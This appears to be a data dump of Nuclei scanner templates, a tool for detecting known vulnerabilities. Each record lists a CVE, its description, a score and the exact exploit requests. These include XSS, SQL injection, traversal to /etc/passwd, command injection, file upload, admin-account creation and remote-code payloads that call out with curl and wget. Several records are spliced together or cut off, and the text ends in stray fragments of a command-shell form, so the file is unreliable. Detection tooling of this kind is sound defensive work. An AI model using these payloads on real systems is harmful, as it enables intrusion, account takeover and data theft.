'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Contact Form by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/contact-form-plugin/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-6090", "PhpCollab (unauthenticated) Arbitrary File Upload", 525, [], 8.8, " cpe:2.3:a:phpcollab:phpcollab", "[{'matchers': [{'words': ['48dbd2384cb6b996fa1e2855c7f0567f'], 'part': 'body', 'type': 'word'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'raw': ['POST /clients/editclient.php?id={{randstr}}&action=update HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: multipart/form-data; boundary=---------------------------154934846911423734231554128137\\n\\n-----------------------------154934846911423734231554128137\\nContent-Disposition: form-data; name=\"upload\"; filename=\"{{randstr}}.php\"\\nContent-Type: application/x-php\\n\\n\\n\\n-----------------------------154934846911423734231554128137--\\n', 'GET /logos_clients/1.php HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-11165", "DataTaker DT80 dEX 1.50.012 is susceptible to information disclosure. A remote attacker can obtain sensitive credential and configuration information via a direct request for the /services/getFile.cmd?userfile=config.xml URI, thereby possibly accessing sensitive information, modifying data, and/or executing unauthorized operations.\n", 1577, [], 9.8, " cpe:2.3:o:datataker:dt80 dex firmware:1.50.012", "[{'path': ['{{BaseURL}}/services/getFile.cmd?userfile=config.xml'], 'matchers': [{'type': 'word', 'words': ['COMMAND_SERVER', '', 'config id=\"config'], 'condition': 'and'}, {'part': 'header', 'type': 'word', 'words': ['text/xml']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET'}]"], ["CVE-2017-18638", "send_email in graphite-web/webapp/graphite/composer/views.py in Graphite through 1.1.5 is vulnerable to SSRF. The vulnerable SSRF endpoint can be used by an attacker to have the Graphite web server request any resource. The response to this SSRF request is encoded into an image file and then sent to an e-mail address that can be supplied by the attacker. Thus, an attacker can exfiltrate any information.", 669, [], 7.5, " cpe:2.3:a:graphite project:graphite", "[{'method': 'GET', 'path': ['{{BaseURL}}/composer/send_email?to={{rand_text_alpha(4)}}@{{rand_text_alpha(4)}}&url=http://{{interactsh-url}}'], 'matchers': [{'type': 'word', 'part': 'interactsh_protocol', 'words': ['http']}]}]"], ["CVE-2017-12542", "A authentication bypass and execution of code vulnerability in HPE Integrated Lights-out 4 (iLO 4) version prior to 2.53 was found.", 37, [], 10.0, " cpe:2.3:o:hp:integrated lights-out 4 firmware", "[{'method': 'GET', 'matchers': [{'words': ['iLO User'], 'type': 'word', 'part': 'body'}, {'words': ['application/json'], 'type': 'word', 'part': 'header'}, {'type': 'status', 'status': [200]}], 'path': ['{{BaseURL}}/rest/v1/AccountService/Accounts'], 'headers': {'Connection': 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'}, 'matchers-condition': 'and'}]"], ["CVE-2017-12583", "DokuWiki through 2017-02-19b has XSS in the at parameter (aka the DATE_AT variable) to doku.php.", 1108, [], 6.1, " cpe:2.3:a:dokuwiki:dokuwiki", "[{'path': ['{{BaseURL}}/dokuwiki/doku.php?id=wiki:welcome&at=%3Csvg%20onload%3D%28document.domain%29%3E'], 'matchers-condition': 'and', 'method': 'GET', 'matchers': [{'part': 'body', 'type': 'word', 'words': ['']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/redirector.php?url=https://attacker.com', '{{BaseURL}}/redirector.php?do=nodelay&url=https://attacker.com']}]"], ["CVE-2018-10201", "Ncomputing vSpace Pro versions 10 and 11 suffer from a directory traversal vulnerability.", 913, [], 7.5, " cpe:2.3:a:ncomputing:vspace pro:10", "[{'stop-at-first-match': True, 'method': 'GET', 'path': ['{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini', '{{BaseURL}}/...\\\\...\\\\...\\\\...\\\\...\\\\...\\\\...\\\\...\\\\...\\\\windows\\\\win.ini', '{{BaseURL}}/..../..../..../..../..../..../..../..../..../windows/win.ini', '{{BaseURL}}/....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\windows\\\\win.ini'], 'matchers': [{'words': ['bit app support', 'fonts', 'extensions'], 'part': 'body', 'condition': 'and', 'type': 'word'}]}]"], ["CVE-2018-18809", "The default server implementation of TIBCO Software Inc.'s TIBCO JasperReports Library, TIBCO JasperReports Library Community Edition, TIBCO JasperReports Library for ActiveMatrix BPM, TIBCO JasperReports Server, TIBCO JasperReports Server Community Edition, TIBCO JasperReports Server for ActiveMatrix BPM, TIBCO Jaspersoft for AWS with Multi-Tenancy, and TIBCO Jaspersoft Reporting and Analytics for AWS contains a directory-traversal vulnerability that may theoretically allow web server users to access contents of the host system.\n", 1993, [], 6.5, " cpe:2.3:a:tibco:jasperreports library:6.3.4", "[{'matchers': [{'part': 'body', 'type': 'word', 'condition': 'and', 'words': ['metadata.jdbc.driverClassName', 'metadata.hibernate.dialect']}, {'type': 'status', 'status': [200]}], 'method': 'GET', 'matchers-condition': 'and', 'path': ['{{BaseURL}}/jasperserver-pro/reportresource/reportresource/?resource=net/sf/jasperreports/../../../../js.jdbc.properties']}]"], ["CVE-2018-19915", "DomainMOD through 4.11.01 has XSS via the assets/edit/host.php Web Host Name or Web Host URL field.\n", 1274, [], 4.8, " cpe:2.3:a:domainmod:domainmod", "[{'max-redirects': 2, 'matchers': [{'condition': 'and', 'dsl': ['status_code_3 == 200', 'contains(all_headers_3, \"text/html\")', 'contains(body_3, \">\")'], 'type': 'dsl'}], 'req-condition': True, 'cookie-reuse': True, 'redirects': True, 'raw': ['POST / HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nnew_username={{username}}&new_password={{password}}\\n', 'POST /assets/add/host.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nnew_host=%3Cscript%3E%28document.domain%29%3C%2Fscript%3E&new_url=%3Cscript%3E%28document.domain%29%3C%2Fscript%3E&new_notes=test\\n', 'GET /assets/hosting.php HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2018-16761", "Eventum before 3.4.0 has an open redirect vulnerability.\n", 1210, [], 6.1, " cpe:2.3:a:eventum project:eventum", "[{'method': 'GET', 'path': ['{{BaseURL}}/select_project.php?url=http://attacker.com', '{{BaseURL}}/clock_status.php?current_page=http://attacker.com'], 'stop-at-first-match': True, 'matchers': [{'regex': ['(?m)^(?:Location\\\\s*?:\\\\s*?)(?:https?:\\\\/\\\\/|\\\\/\\\\/|\\\\/\\\\\\\\\\\\\\\\|\\\\/\\\\\\\\)?(?:[a-zA-Z0-9\\\\-_\\\\.@]*)attacker\\\\.com\\\\/?(\\\\/|[^.].*)?$'], 'part': 'header', 'type': 'regex'}]}]"], ["CVE-2018-7490", "uWSGI PHP Plugin Directory Traversal", 85, [], 7.5, " cpe:2.3:a:unbit:uwsgi", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'type': 'regex', 'regex': ['root:[x*]:0:0:'], 'part': 'body'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd']}]"], ["CVE-2018-10735", "A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/commandline.php cname parameter.\n", 2359, [], 7.2, " cpe:2.3:a:nagios:nagios xi", "[{'path': ['{{BaseURL}}/nagiosql/admin/commandline.php?cname=%27%20union%20select%20concat(md5({{num}}))%23'], 'matchers': [{'part': 'body', 'words': ['{{md5(num)}}'], 'type': 'word'}], 'method': 'GET'}]"], ["CVE-2018-18069", "process_forms in the WPML (aka sitepress-multilingual-cms) plugin through 3.6.3 for WordPress has XSS via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.", 91, [], 6.1, " cpe:2.3:a:wpml:wpml", "[{'method': 'POST', 'matchers': [{'type': 'dsl', 'dsl': ['status_code==302 && contains(set_cookie, \"_icl_current_admin_language\")']}], 'path': ['{{BaseURL}}/wp-admin/admin.php'], 'body': 'icl_post_action=save_theme_localization&locale_file_name_en=EN\\\\\">PHP Version <\\\\/td>([0-9.]+)'], 'group': 1, 'type': 'regex', 'part': 'body'}], 'path': ['{{BaseURL}}/imcat/root/tools/adbug/binfo.php?phpinfo1'], 'matchers-condition': 'and', 'matchers': [{'condition': 'and', 'words': ['PHP Extension', 'PHP Version'], 'type': 'word'}, {'status': [200], 'type': 'status'}], 'method': 'GET'}]"], ["CVE-2018-1000861", "Jenkins 2.138 Remote Command Execution", 94, [], 9.8, " cpe:2.3:a:jenkins:jenkins", "[{'method': 'GET', 'matchers': [{'words': ['package#vulntest'], 'type': 'word', 'part': 'body'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;']}]"], ["CVE-2018-11227", "Monstra CMS 3.0.4 and earlier contains a cross-site scripting vulnerability via index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.\n", 1583, [], 6.1, " cpe:2.3:a:monstra:monstra cms", "[{'matchers': [{'part': 'body', 'type': 'word', 'words': ['>'], 'type': 'word', 'part': 'body'}, {'type': 'status', 'status': [200]}, {'words': ['text/html'], 'type': 'word', 'part': 'header'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/Devices-Config.php?sta=%22%3E%3Cimg%20src%3Dx%20onerror%3D(document.domain)%3E']}]"], ["CVE-2020-15050", "An issue was discovered in the Video Extension in Suprema BioStar 2 before 2.8.2. Remote attackers can read arbitrary files from the server via Directory Traversal.", 1062, [], 7.5, " cpe:2.3:a:supremainc:biostar 2", "[{'method': 'GET', 'path': ['{{BaseURL}}/../../../../../../../../../../../../windows/win.ini'], 'matchers': [{'part': 'body', 'type': 'word', 'condition': 'and', 'words': ['bit app support', 'fonts', 'extensions']}]}]"], ["CVE-2020-8515", "DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI. This issue has been fixed in Vigor3900/2960/300B v1.5.1.", 260, [], 9.8, " cpe:2.3:o:draytek:vigor2960 firmware:1.3.1:beta", "[{'matchers': [{'type': 'regex', 'regex': ['root:[x*]:0:0:'], 'part': 'body'}, {'type': 'status', 'status': [200]}], 'raw': ['POST /cgi-bin/mainfunction.cgi HTTP/1.1\\nHost: {{Hostname}}\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0\\nAccept: */*\\nConnection: close\\n\\naction=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a\\n'], 'matchers-condition': 'and'}]"], ["CVE-2020-5847", "A vulnerability in UnRaid allows remote unauthenticated attackers to execute arbirary code.", 194, [], 9.8, " cpe:2.3:a:unraid:unraid", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'words': ['PHP Extension', 'PHP Version'], 'condition': 'and', 'type': 'word'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/webGui/images/green-on.png/?path=x&site[x][text]=%3C?php%20phpinfo();%20?%3E']}]"], ["CVE-2020-12124", "A remote command-line injection vulnerability in the /cgi-bin/live_api.cgi endpoint of the WAVLINK WN530H4 M30H4.V5030.190403 allows an attacker to execute arbitrary Linux commands as root without authentication.\n", 2091, [], 9.8, " cpe:2.3:o:wavlink:wn530h4 firmware:m30h4.v5030.190403", "[{'method': 'GET', 'path': ['{{BaseURL}}/cgi-bin/live_api.cgi?page={{str}}&id={{num}}&ip=;id;'], 'matchers-condition': 'and', 'matchers': [{'regex': ['((u|g)id|groups)=[0-9]{1,4}\\\$[a-z0-9]+\\\$'], 'type': 'regex', 'part': 'body'}, {'words': ['WiFiBand'], 'type': 'word', 'part': 'body'}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2020-25223", "A remote code execution vulnerability exists in the WebAdmin of Sophos SG UTM before v9.705 MR5, v9.607 MR7, and v9.511 MR11", 619, [], 9.8, " ", "[{'raw': ['POST /var HTTP/1.1\\nHost: {{Hostname}}\\nAccept: text/javascript, text/html, application/xml, text/xml, */*\\nAccept-Language: en-US,en;q=0.5\\nAccept-Encoding: gzip, deflate\\nX-Requested-With: XMLHttpRequest\\nX-Prototype-Version: 1.5.1.1\\nContent-type: application/json; charset=UTF-8\\nOrigin: {{BaseURL}}\\nConnection: close\\nReferer: {{BaseURL}}\\nSec-Fetch-Dest: empty\\nSec-Fetch-Mode: cors\\nSec-Fetch-Site: same-origin\\n\\n{\"objs\": [{\"FID\": \"init\"}], \"SID\": \"|wget http://{{interactsh-url}}|\", \"browser\": \"gecko_linux\", \"backend_version\": -1, \"loc\": \"\", \"_cookie\": null, \"wdebug\": 0, \"RID\": \"1629210675639_0.5000855117488202\", \"current_uuid\": \"\", \"ipv6\": true}\\n'], 'matchers': [{'type': 'word', 'words': ['http'], 'part': 'interactsh_protocol'}]}]"], ["CVE-2020-6171", "A cross-site scripting (XSS) vulnerability in the index page of the CLink Office 2.0 management console allows remote attackers to inject arbitrary web script or HTML via the lang parameter.\n", 707, [], 6.1, " cpe:2.3:a:communilink:clink office:2.0", "[{'path': ['{{BaseURL}}?lang=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E%3Cp%20class=%22&p=1'], 'method': 'GET', 'matchers-condition': 'and', 'matchers': [{'part': 'body', 'words': ['\">'], 'type': 'word'}, {'status': [200], 'type': 'status'}, {'part': 'header', 'words': ['text/html'], 'type': 'word'}]}]"], ["CVE-2020-2036", "A reflected cross-site scripting (XSS) vulnerability exists in the PAN-OS management web interface. A remote attacker able to convince an administrator with an active authenticated session on the firewall management interface to click on a crafted link to that management web interface could potentially execute arbitrary JavaScript code in the administrator's browser and perform administrative actions. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9.\n", 265, [], 8.8, " cpe:2.3:o:paloaltonetworks:pan-os", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'words': ['(.*)'], 'type': 'regex'}]}]"], ["CVE-2020-27982", "IceWarp 11.4.5.0 allows XSS via the language parameter.", 245, [], 6.1, " ", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'words': [''], 'type': 'word', 'part': 'body'}, {'words': ['text/html'], 'type': 'word', 'part': 'header'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3D(1)%3E']}]"], ["CVE-2020-26073", "A vulnerability in the application data endpoints of Cisco SD-WAN vManage Software could allow an unauthenticated, remote attacker to gain access to sensitive information.\n", 179, [], 7.5, "Cisco", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'type': 'regex', 'regex': ['root:[x*]:0:0:'], 'part': 'body'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/dataservice/disasterrecovery/download/token/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2Fetc%2Fpasswd']}]"], ["CVE-2020-16846", "SaltStack Salt through 3002. Sending crafted web requests to the Salt API,\nwith the SSH client enabled, can result in shell injection.\n\nThis template supports the detection part only. See references.\n", 249, [], 9.8, " ", "[{'matchers': [{'type': 'status', 'status': [500]}, {'words': ['application/json'], 'type': 'word', 'part': 'header'}, {'words': ['An unexpected error occurred'], 'type': 'word', 'part': 'body'}], 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, 'body': 'token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei', 'path': ['{{BaseURL}}/run'], 'matchers-condition': 'and', 'method': 'POST'}]"], ["CVE-2020-26214", "Alerta prior to version 8.1.0 is prone to Authentication Bypass when using LDAP as authorization provider and the LDAP server accepts Unauthenticated Bind requests.\n", 273, [], 9.8, " ", "[{'extractors': [{'regex': ['name\":\\\\s*\"Alerta ([0-7]\\\\.[0-9]\\\\.[0-9]|8\\\\.0.[0-9])\"'], 'name': 'a-version', 'type': 'regex', 'part': 'body', 'group': 1}], 'matchers': [{'type': 'status', 'status': [200]}, {'condition': 'or', 'type': 'regex', 'regex': ['name\":\\\\s*\"Alerta ([0-7]\\\\.[0-9]\\\\.[0-9]|8\\\\.0.[0-9])\"']}, {'condition': 'or', 'type': 'regex', 'regex': ['provider\":\\\\s*\"ldap\"']}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/api/config']}]"], ["CVE-2020-16846", "SaltStack Salt through 3002. Sending crafted web requests to the Salt API,\nwith the SSH client enabled, can result in shell injection.\n\nThis template supports the detection part only. See references.\n", 249, [], 8.1, "", "[{'matchers': [{'type': 'status', 'status': [500]}, {'words': ['application/json'], 'type': 'word', 'part': 'header'}, {'words': ['An unexpected error occurred'], 'type': 'word', 'part': 'body'}], 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, 'body': 'token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei', 'path': ['{{BaseURL}}/run'], 'matchers-condition': 'and', 'method': 'POST'}]"], ["CVE-2020-28351", "conferencing component on Mitel ShoreTel 19.46.1802.0 devices could allow an unauthenticated attacker to conduct a reflected cross-site scripting (XSS) attack (via the PATH_INFO to index.php) due to insufficient validation for the time_zone object in the HOME_MEETING& page", 704, [], 6.1, " ", "[{'path': ['{{BaseURL}}/index.php/%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E?page=HOME'], 'method': 'GET', 'matchers': [{'type': 'word', 'part': 'body', 'words': ['']}, {'type': 'word', 'part': 'header', 'words': ['Content-Type: text/html']}], 'matchers-condition': 'and', 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}}]"], ["CVE-2020-13927", "Unauthenticated Airflow Experimental REST API", 330, [], 9.8, " ", "[{'path': ['{{BaseURL}}/api/experimental/latest_runs'], 'method': 'GET', 'matchers': [{'type': 'word', 'condition': 'and', 'words': ['\"dag_run_url\":', '\"dag_id\":', '\"items\":']}]}]"], ["CVE-2020-27481", "An unauthenticated SQL Injection vulnerability in Good Layers LMS Plugin <= 2.1.4 exists due to the usage of \"wp_ajax_nopriv\" call in WordPress, which allows any unauthenticated user to get access to the function \"gdlr_lms_cancel_booking\" where POST Parameter \"id\" was sent straight into SQL query without sanitization.\n", 1605, [], 9.8, " ", "[{'matchers': [{'type': 'dsl', 'dsl': ['duration>=6', 'status_code == 200', \"contains(body, 'goodlayers-lms') || contains(body, 'goodlms')\"], 'condition': 'and'}], 'raw': ['@timeout: 15s\\nPOST /wp-admin/admin-ajax.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\naction=gdlr_lms_cancel_booking&id=(SELECT%201337%20FROM%20(SELECT(SLEEP(6)))MrMV)\\n']}]"], ["CVE-2020-13638", "lib/crud/userprocess.php in rConfig 3.9.x before 3.9.7 has an authentication bypass, leading to administrator account creation. This issue has been fixed in 3.9.7.\n", 2087, [], 9.8, " ", "[{'host-redirects': True, 'matchers': [{'words': ['rConfig - Configuration Management', 'Logged in as', 'dashboadFieldSet'], 'type': 'word', 'condition': 'and', 'part': 'body_3'}, {'words': ['text/html'], 'type': 'word', 'part': 'header_3'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'raw': ['POST /lib/crud/userprocess.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: multipart/form-data; boundary=01b28e152ee044338224bf647275f8eb\\n\\n--01b28e152ee044338224bf647275f8eb\\nContent-Disposition: form-data; name=\"username\"\\n\\n{{username}}\\n--01b28e152ee044338224bf647275f8eb\\nContent-Disposition: form-data; name=\"passconf\"\\n\\n{{password}}\\n--01b28e152ee044338224bf647275f8eb\\nContent-Disposition: form-data; name=\"password\"\\n\\n{{password}}\\n--01b28e152ee044338224bf647275f8eb\\nContent-Disposition: form-data; name=\"email\"\\n\\n{{email}}\\n--01b28e152ee044338224bf647275f8eb\\nContent-Disposition: form-data; name=\"editid\"\\n\\n\\n--01b28e152ee044338224bf647275f8eb\\nContent-Disposition: form-data; name=\"add\"\\n\\nadd\\n--01b28e152ee044338224bf647275f8eb\\nContent-Disposition: form-data; name=\"ulevelid\"\\n\\n9\\n--01b28e152ee044338224bf647275f8eb--\\n', 'GET /login.php HTTP/1.1\\nHost: {{Hostname}}\\n', 'POST /lib/crud/userprocess.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nuser={{username}}&pass={{password}}&sublogin=1\\n']}]"], ["CVE-2020-27191", "LionWiki before 3.2.12 allows an unauthenticated user to read files as the web server user via crafted string in the index.php f1 variable, aka Local File Inclusion.", 1094, [], 7.5, " ", "[{'matchers': [{'type': 'regex', 'regex': ['root:[x*]:0:0:']}, {'type': 'status', 'status': [200]}], 'method': 'GET', 'path': ['{{BaseURL}}/index.php?page=&action=edit&f1=.//./\\\\.//./\\\\.//./\\\\.//./\\\\.//./\\\\.//./etc/passwd&restore=1'], 'matchers-condition': 'and'}]"], ["CVE-2020-26217", "XStream before 1.4.14 is susceptible to remote code execution. An attacker can run arbitrary shell commands by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Users who rely on blocklists are affected.\n", 1601, [], 8.8, " ", "[{'matchers': [{'part': 'interactsh_protocol', 'type': 'word', 'words': ['http']}, {'part': 'interactsh_request', 'type': 'word', 'words': ['User-Agent: curl']}], 'raw': [\"POST / HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/xml\\n\\n\\n \\n \\n 0\\n \\n \\n \\n text/plain\\n \\n \\n \\n \\n 0\\n -1\\n 1\\n \\n \\n \\n curl\\n http://{{interactsh-url}}\\n \\n \\n \\n \\n \\n \\n java.lang.ProcessBuilder\\n start\\n \\n \\n start\\n \\n \\n \\n KEYS\\n \\n \\n \\n 0\\n 0\\n 0\\n \\n \\n false\\n \\n \\n \\n 0\\n \\n \\n test\\n \\n\\n\"], 'matchers-condition': 'and'}]"], ["CVE-2020-26217", "XStream before 1.4.14 is susceptible to remote code execution. An attacker can run arbitrary shell commands by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Users who rely on blocklists are affected.\n", 1601, [], 9.0, "", "[{'matchers': [{'part': 'interactsh_protocol', 'type': 'word', 'words': ['http']}, {'part': 'interactsh_request', 'type': 'word', 'words': ['User-Agent: curl']}], 'raw': [\"POST / HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/xml\\n\\n\\n \\n \\n 0\\n \\n \\n \\n text/plain\\n \\n \\n \\n \\n 0\\n -1\\n 1\\n \\n \\n \\n curl\\n http://{{interactsh-url}}\\n \\n \\n \\n \\n \\n \\n java.lang.ProcessBuilder\\n start\\n \\n \\n start\\n \\n \\n \\n KEYS\\n \\n \\n \\n 0\\n 0\\n 0\\n \\n \\n false\\n \\n \\n \\n 0\\n \\n \\n test\\n \\n\\n\"], 'matchers-condition': 'and'}]"], ["CVE-2019-20933", "InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in services/httpd/handler.go because a JWT token may have an empty SharedSecret (aka shared secret).", 1353, [], 9.8, " ", "[{'path': ['{{BaseURL}}/query?db=db&q=SHOW%20DATABASES'], 'matchers': [{'words': ['\"results\":', '\"name\":\"databases\"'], 'type': 'word', 'part': 'body', 'condition': 'and'}, {'type': 'status', 'status': [200]}], 'method': 'GET', 'matchers-condition': 'and'}]"], ["CVE-2020-13942", "Remote Code Execution in Apache Unomi.\nApache Unomi allows conditions to use OGNL and MVEL scripting which\noffers the possibility to call static Java classes from the JDK\nthat could execute code with the permission level of the running Java process.\nThis vulnerability affects all versions of Apache Unomi prior to 1.5.2. Apache Unomi users should upgrade to 1.5.2 or later.\n", 183, [], 9.8, " ", "[{'matchers': [{'type': 'status', 'status': [200]}, {'words': ['application/json', 'context-profile-id'], 'condition': 'and', 'type': 'word', 'part': 'header'}, {'condition': 'and', 'type': 'regex', 'regex': ['(profile|session)(Id|Properties|Segments)', '[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}'], 'part': 'body'}], 'headers': {'Content-Type': 'application/json'}, 'body': '{\\n \"filters\": [\\n {\\n \"id\": \"nuclei\",\\n \"filters\": [\\n {\\n \"condition\": {\\n \"parameterValues\": {\\n \"nuclei\": \"script::Runtime.getRuntime().exec(\\'id\\')\"\\n },\\n \"type\": \"profilePropertyCondition\"\\n }\\n }\\n ]\\n }\\n ],\\n \"sessionId\": \"nuclei\"\\n}\\n', 'path': ['{{BaseURL}}/context.json'], 'matchers-condition': 'and', 'method': 'POST'}]"], ["CVE-2020-10770", "A flaw was found in Keycloak before 13.0.0, where it is possible to force the server to call out an unverified URL using the OIDC parameter request_uri. This flaw allows an attacker to use this parameter to execute a Server-side request forgery (SSRF) attack.", 840, [], 5.8, "", "[{'path': ['{{BaseURL}}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{{interactsh-url}}/'], 'matchers': [{'words': ['http'], 'type': 'word', 'part': 'interactsh_protocol'}], 'method': 'GET'}]"], ["CVE-2020-28976", "The Canto plugin 1.3.0 for WordPress contains a blind SSRF vulnerability. It allows an unauthenticated attacker can make a request to any internal and external server via /includes/lib/detail.php?subdomain=SSRF.", 670, [], 5.3, " ", "[{'stop-at-first-match': True, 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/canto/includes/lib/detail.php?subdomain={{interactsh-url}}', '{{BaseURL}}/wp-content/plugins/canto/includes/lib/get.php?subdomain={{interactsh-url}}', '{{BaseURL}}/wp-content/plugins/canto/includes/lib/tree.php?subdomain={{interactsh-url}}'], 'matchers': [{'type': 'word', 'part': 'interactsh_protocol', 'words': ['http']}]}]"], ["CVE-2014-6287", "HTTP File Server before 2.3c is susceptible to remote command execution. The findMacroMarker function in parserLib.pas allows an attacker to execute arbitrary programs via a %00 sequence in a search action. Therefore, an attacker can obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.\n", 1561, [], 9.8, " cpe:2.3:a:rejetto:http file server", "[{'path': ['{{BaseURL}}/?search==%00{.cookie|{{str1}}|value%3d{{str2}}.}'], 'matchers': [{'part': 'body', 'type': 'word', 'words': ['HFS /']}, {'part': 'header', 'type': 'word', 'words': ['Set-Cookie: {{str1}}={{str2}};', 'text/html'], 'condition': 'and'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET'}]"], ["CVE-2020-29395", "Wordpress Plugin EventON Calendar 3.0.5 - Reflected Cross-Site Scripting (XSS)", 394, [], 6.1, " ", "[{'matchers': [{'part': 'body', 'type': 'word', 'words': ['

Command:	value=\"#form.cmd#\">
Options:	value=\"#form.opts#\">
Timeout:	value=\"#form.timeout#\"\\n value=\"5\">

404 test not found

CVE ID:
Info:
Impact:
CPE:
Requests:

Nuclei Templates